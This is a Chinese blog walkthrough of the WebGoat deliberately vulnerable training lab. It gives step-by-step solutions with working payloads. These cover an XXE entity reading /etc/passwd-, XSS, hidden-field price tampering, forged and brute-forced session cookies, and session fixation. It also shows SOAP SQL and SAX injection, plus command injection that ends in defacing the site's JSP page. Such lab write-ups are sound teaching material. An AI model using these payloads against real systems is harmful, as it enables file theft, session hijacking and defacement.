尝试在搜索表单中找到缺陷并列出操作系统的根目录。

抓包,将 xml 改为

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY myentity SYSTEM "file:///etc/passwd-" >]>
<searchForm>
<from>&myentity;</from>
</searchForm>

Exploit Hidden Fields

尝试购买低于购买价格的 HDTV,如果您还没有购买。

抓包改 Price 即可

Exploit Unchecked Email

此表单是客户支持页面的示例。 使用下面的表单尝试:
1)发送恶意脚本到网站管理员。
2)从 OWASP 向恶意脚本发送一个恶意脚本。

先插入 <script>alert('xss')</script> 发送,然后在抓包随便改改 email

Bypass Client Side JavaScript Validation

本网站执行客户端和服务器端验证。 对于这个练习,你的工作是打破客户端验证并发送它不期望的网站输入。 你必须同时打破所有 7 个验证器。

抓包,把每个参数都改为不符合正则的就行,比如每个参数都加一个 !

Session Management Flaws

用户应该能够绕过认证检查。 使用 webgoat / webgoat 帐户登录以查看会发生什么情况。 你也可以尝试 aspect/aspect。 当您了解身份验证 cookie 时,请尝试将您的身份更改为 alice。

65432ubphcfx webgoat

65432ubphcfx webgoat

65432udfqtb aspect

65432udfqtb aspect

数字部分貌似没变,字母部分看上去像凯撒,爆破了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
vcqidgy
wdrjehz
xeskfia
yftlgjb
zgumhkc
ahvnild
biwojme
cjxpknf
dkyqlog
elzrmph
fmasnqi
gnbtorj
hocupsk
ipdvqtl
jqewrum
krfxsvn
lsgytwo
mthzuxp
nuiavyq
ovjbwzr
pwkcxas
qxldybt
rymezcu
sznfadv
taogbew

找来找去没看到 web,后来发现最后一行。。。

那么如法炮制 alice 即可,为 fdjmb

Hijack a Session

开发自己会话 ID 的应用程序开发人员经常忘记包含安全性所需的复杂性和随机性。 如果用户特定的会话 ID 不是复杂且随机的,那么应用程序很容易受到基于会话的暴力攻击。

尝试访问属于他人的已认证会话。

测试了一下,看上去每次访问 Cookie 的 - 之前的哦数字都是+1 递增的。如果客户端发送给 Web 服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过 Cookie 返回给客户端。既然存在他人的认证会话,那么必定有一个 Cookie 是被占用的,也就是分配给我们的 Cookie 存在跳跃。

利用 bs 的 Intruder 测试一下,把 payload 放在 password 即可,payload 改为数字型,先发 50 个看看。结果发现在 25,26 个请求中出现断层:

25:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: WEAKID=12875-1523008242367
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1281
Date: Fri, 06 Apr 2018 09:50:42 GMT
Connection: close

26

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: WEAKID=12877-1523008242369
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1307
Date: Fri, 06 Apr 2018 09:50:42 GMT
Connection: close

那么也就意味着,12876 给了某个合法用户

- 后面很像毫秒级的时间戳,看看是不是:

1523008242367:2018/4/6 17:50:42

1523008242369:2018/4/6 17:50:42

看来后面的应该是 1523008242368 了

搞定

Session Fixation

Strage 1

第 1 阶段:你是黑客乔,你想从简偷走这个会话。 发送准备好的电子邮件给受害者,看起来像银行的官方电子邮件。 模板消息在下面准备好,您需要在电子邮件内的链接中添加会话 ID(SID)。 改变链接以包含 SID。

在 href 后面加上 &SID=666666 即可

Strage 2

第 2 阶段:现在你是受害者 Jane,他收到下面的电子邮件。 如果您用鼠标指向链接,您会看到包含 SID。 点击它看看会发生什么。

Stage 3

登陆 Jane 的帐号

Stage 4

点击链接,然后把 url 改为的 sid 改为之前在邮件里设置的 sid

Web Services

Create a SOAP Request

Stage 1

Web 服务通过使用 SOAP 请求进行通信。 这些请求被提交给 Web 服务以尝试执行 Web 服务定义语言(WSDL)中定义的功能。 让我们学习一些关于 WSDL 文件的知识。 查看 WebGoat 的 Web 服务描述语言(WSDL)文件。
总目标:

尝试使用浏览器或 Web 服务工具连接到 WSDL。 Web 服务的 URL 为:http:// localhost / WebGoat / services / SoapRequest 通常可以通过在 Web 服务请求的末尾添加一个? WSDL 来查看 WSDL。 您必须访问 2 个操作才能通过本课程。

先看一个简易版的标签描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<definitions>
<types>
定义 web service 使用的数据类型。为了最大程度的平台中立性,WSDL 使用 XML Schema
语法来定义自己数据类型,而不是采用任何既有的编程语言的数据类型。
</types>
<message>
定义一个操作的数据元素。术语 Message 让人有点摸不着头脑,
其实就是在定义参数(参数的名字及类型,类型由前面的 types 节定义)。
</message>
<portType>
WSDL 中最重要的元素。也是一个让人摸不着头脑的术语。其实就是定义接口的名称。
接口中的函数使用<operation>元素来声明,函数的名字为 operation 元素的 name 属性,
输入参数使用 input message 声明,输出参数使用 output message 声明
</operation>
</portType>
<binding>
该部分指定接口与底层实现协议的实现细节。 该节跟编程没有直接的对应关系。
</binding>
<service>
该部分用于指定实现了该接口的一个实例
</service>
</definitions>

一共 4 个 operation

Stage 2

int

Stage 3

抓包,修改一下参数:

  1. POST http://localhost/WebGoat/services/SoapRequest HTTP/1.1

  2. Content-Type: text/xml

  3. SOAPAction:

  4. 第一次发

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?xml version="1.0" encoding="UTF-8"?>

    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

    xmlns:xsd="http://www.w3.org/2001/XMLSchema"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

    <SOAP-ENV:Body>

    <ns1:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://lessons">

    <id xsi:type="xsd:int">101</id>

    </ns1:getFirstName>

    </SOAP-ENV:Body>

    </SOAP-ENV:Envelope>

  5. 第二次发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SOAPAction: 

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsd="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<SOAP-ENV:Body>

<ns1:getLastName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://lessons">

<id xsi:type="xsd:int">101</id>

</ns1:getLastName>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Joe Snow~

WSDL Scanning

Web 服务通过使用 SOAP 请求进行通信。 这些请求被提交给 Web 服务以尝试执行 Web 服务定义语言(WSDL)文件中定义的功能。

总目标:

该屏幕是 Web 服务的 API。 检查此 Web 服务的 WSDL 文件并尝试获取一些客户信用编号。

要拿到 CreditCardID,看 API,函数为 getCreditCard,抓包改一下参数即可。修改的参数和上一题一样,注意,POST 的 url。发包过去就好了

Web Service SQL Injection

总目标:

检查 Web 服务描述语言(WSDL)文件并尝试获取多个客户信用卡号码。 您不会看到返回到此屏幕的结果。 当你相信你已经成功时,刷新页面并寻找'绿色星星'

和上一题一样,payload 为:

1 OR 1=1

这 2 题推荐一下 bursuite 下的插件 wsdler,超级好用(手动构造 xml 简直不要太爽

Web Service SAX Injection

注入这个即可:

1
666</password>      <id xsi:type='xsd:int'>102</id>       <password xsi:type='xsd:string'>777

Admin Functions

课程完成的纵览

The CHALLENGE

您的任务是打破身份验证方案,从数据库中窃取所有信用卡,然后污损网站。 你将不得不使用你在其他课程中学到的许多技巧。 这个网站的主要网页是'webgoat_challenge_guest.jsp'

Stage 1

随便填了用户名密码,抓包,对所有的参数尝试进行注入,代码缺陷攻击,均无效。然后对那个隐藏的 usr 起了疑心,搜了一下,发现是智者为王,一个源自英国的电视游戏节目。作者肯定不会无缘无故选这个,按照 CTF 的尿性,和这个节目有关的东西十有八九是线索,然后找到了主持人常说的一句话:You are the weakest link, goodbye

随便填了用户名密码,抓包,对所有的参数尝试进行注入,代码缺陷攻击,均无效。然后对那个隐藏的 usr 起了疑心,搜了一下,发现是 智者为王,一个源自英国的电视游戏节目。作者肯定不会无缘无故选这个,按照 CTF 的尿性,和这个节目有关的东西十有八九是线索,然后找到了主持人常说的一句话:You are the weakest link, goodbye

加上 usr 的 youaretheweakestlink,猜测这是一对用户名/密码,登陆,成功了。。。

Stage 2

在 Cookie 中的 usr 存在 SQL 注入,注意 base64 编码

Stage 3

抓包,改 File 即可:

不知道路径,慢慢来

  1. ip;pwd => /home/macr0phag3/Downloads

  2. ```
    ip;find -name "webgoat_challenge_guest.jsp"=>./.extract/webapps/WebGoat/webgoat_challenge_guest.jsp

    1
    2
    3

    3. ```1
    ip;echo 'Hack by Tr0y' > /home/XXXXXX/Downloads/.extract/webapps/WebGoat/webgoat_challenge_guest.jsp

完结

这个靶场很有意思,做完提升了不少~~

来呀快活呀


WebGoat 靶场题解
https://www.tr0y.wang/2018/04/06/WebGoat/
作者
Tr0y
发布于
2018年4月6日
更新于
2024年6月3日
许可协议